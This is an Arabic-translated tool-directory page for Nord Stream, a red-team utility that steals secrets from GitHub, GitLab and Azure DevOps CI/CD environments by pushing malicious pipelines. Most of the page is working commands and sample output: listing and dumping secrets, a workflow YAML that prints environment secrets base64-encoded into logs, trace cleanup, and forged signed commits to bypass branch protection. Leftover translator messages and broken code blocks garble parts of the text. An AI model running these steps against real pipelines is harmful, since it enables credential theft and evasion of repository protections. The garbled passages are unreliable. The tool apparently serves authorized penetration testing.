Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/synacktiv/nord-stream
الاستغلالأدوات انتحال الشخصيةتسريب البياناتجمع المعلوماتاختبار الاختراقDevSecOpsكشف الأسرارالفريق الأحمر
GitHubsynacktiv/nord-stream

nord-stream

Nord Stream هي أداة تسمح لك باستخراج الأسرار المخزنة داخل بيئات CI/CD عن طريق نشر خطوط أنابيب ضارة. تدعم حالياً Azure DevOps وGitHub وGitLab.

عرض المستودع
3702262منذ 2 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
الموقع الإلكتروني
مشاركة

Nord Stream

Nord Stream هي أداة تسمح لك باستخراج الأسرار المخزنة داخل بيئات CI/CD عن طريق نشر خطوط أنابيب خبيثة.

تدعم حاليًا Azure DevOps وGitHub وGitLab.

اعرف المزيد في مقال المدونة التالي: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks

جدول المحتويات

  • Nord Stream
    • جدول المحتويات
    • التثبيت
    • الاستخدام
      • الوسائط المشتركة
        • وصف التوكن
        • بناء YAML
        • YAML
        • تنظيف السجلات
        • توقيع الالتزامات
      • Azure DevOps
        • اتصالات الخدمة
          • SSH
        • عرض المؤسسات
        • المساعدة
      • GitHub
        • عرض الحمايات
        • تعطيل الحمايات
        • فرض
        • Azure OIDC
        • AWS OIDC
        • المساعدة
      • GitLab
        • عرض الأسرار
        • YAML
        • عرض الحمايات
        • المساعدة
    • TODO
    • التواصل

التثبيت```

$ pipx install git+https://github.com/synacktiv/nord-stream

`git` مطلوب أيضًا (انظر https://git-scm.com/download/) ويجب أن يكون موجودًا في `PATH` الخاصة بك.

## الاستخدام

إليك مثال بسيط على GitHub؛ في البداية، يمكن للمرء تعداد الأسرار المختلفة.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
        - REPO_SECRET
        - SUPER_SECRET
[*] PROD secrets:
        - PROD_SECRET

ثم تابع إلى عملية استخراج البيانات:```sh $ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch [] Getting secrets from repo: "org/repo" [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_SUPER_SECRET=value for super secret secret_REPO_SECRET=repository secret

[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment

[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github

### الوسائط المشتركة

بعض الوسائط مشتركة بين [GitHub](#github) و[Azure DevOps](#azure-devops) و[GitLab](#gitlab)، وهذه بعض الأمثلة.

#### وصف التوكن

يمكن استخدام الخيار `--describe-token` لعرض معلومات عامة حول التوكن الخاص بك:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
        - Login: CICD
        - IsAdmin: False
        - Id: 1337
        - Bio: None

إنشاء YAML

يمكن استخدام الخيار --build-yaml لإنشاء ملف خط أنابيب دون نشره. يسترجع أسماء الأسرار المختلفة لبناء خط الأنابيب المرتبط، والذي يمكن استخدامه لإضافة خطوات مخصصة:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml [+] YAML file: name: GitHub Actions 'on': push jobs: init: runs-on: ubuntu-latest steps: - run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0 name: command env: secret_PROD_SECRET: ${{secrets.PROD_SECRET}} environment: PROD

#### YAML

يمكن استخدام خيار `--yaml` لنشر خط أنابيب مخصص:```yml
name: GitHub Actions
'on': push
jobs:
  init:
    runs-on: ubuntu-latest
    steps:
    - run: echo "Hello from step 1"
      name: step 1
    - run: echo "Doing some important stuff here"
      name: command
    - run: echo "Hello from last step "
      name: last step

No input text was provided. Please paste the Markdown chunk to translate.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here

[] Cleaning logs. [] Check output: .../nord-stream-logs/github

افتراضيًا، سيعرض مخرجات المهمة المسماة `command` من وظيفة `init`، ولكن يتم تخزين كل شيء محليًا ويمكن الوصول إليه يدويًا:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step

تنظيف السجلات

افتراضيًا، سيحاول Nord Stream إزالة الآثار المتبقية بعد نشر خط أنابيب، اعتمادًا على صلاحياتك. للحفاظ على الآثار، يمكن استخدام خيار --no-clean. سيؤدي هذا إلى الاحتفاظ بسجلات خط الأنابيب، لكنه سيظل يعيد التغييرات التي أُجريت على المستودع. لاحظ أنه بالنسبة إلى GitLab، لا يمكن حذف بعض الآثار.

توقيع الالتزامات

يمكن لمشرفي المستودعات فرض توقيع الالتزامات المطلوب على فرع ما لحظر جميع الالتزامات غير الموقعة وغير الموثقة. مع Nord Stream، من الممكن توقيع الالتزامات لتجاوز هذه الحماية.

أولاً، أنشئ واستورد مفتاح GPG الخاص بك على منصة SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]

Please provide the Markdown content to translate.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main  --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET

يبدو أن محتوى الإدخال (INPUT) فارغ أو غير مرفق في هذه الرسالة. لا يوجد نص متاح لترجمته. يرجى إرسال نص القسم (Chunk 21) المطلوب ترجمته.```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5

### Azure DevOps

يمكن لـ Nord Stream استخراج الأنواع التالية من الأسرار:
- مجموعات المتغيرات (vg)
- الملفات الآمنة (sf)
- اتصالات الخدمة

#### اتصالات الخدمة

يتيح Azure DevOps إمكانية إنشاء اتصالات مع الخدمات الخارجية والبعيدة لتنفيذ المهام في وظيفة. وللقيام بذلك، يتم استخدام اتصالات الخدمة. يحتفظ اتصال الخدمة ببيانات اعتماد لهوية ما إلى خدمة بعيدة. هناك أنواع متعددة من اتصالات الخدمة في Azure DevOps.

يدعم Nord Stream حاليًا استخراج الأسرار للأنواع التالية من اتصالات الخدمة:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH

إذا صادفت نوعًا غير مدعوم، يرجى فتح issue أو إرسال pull request :)

##### SSH
تنزيل الأداة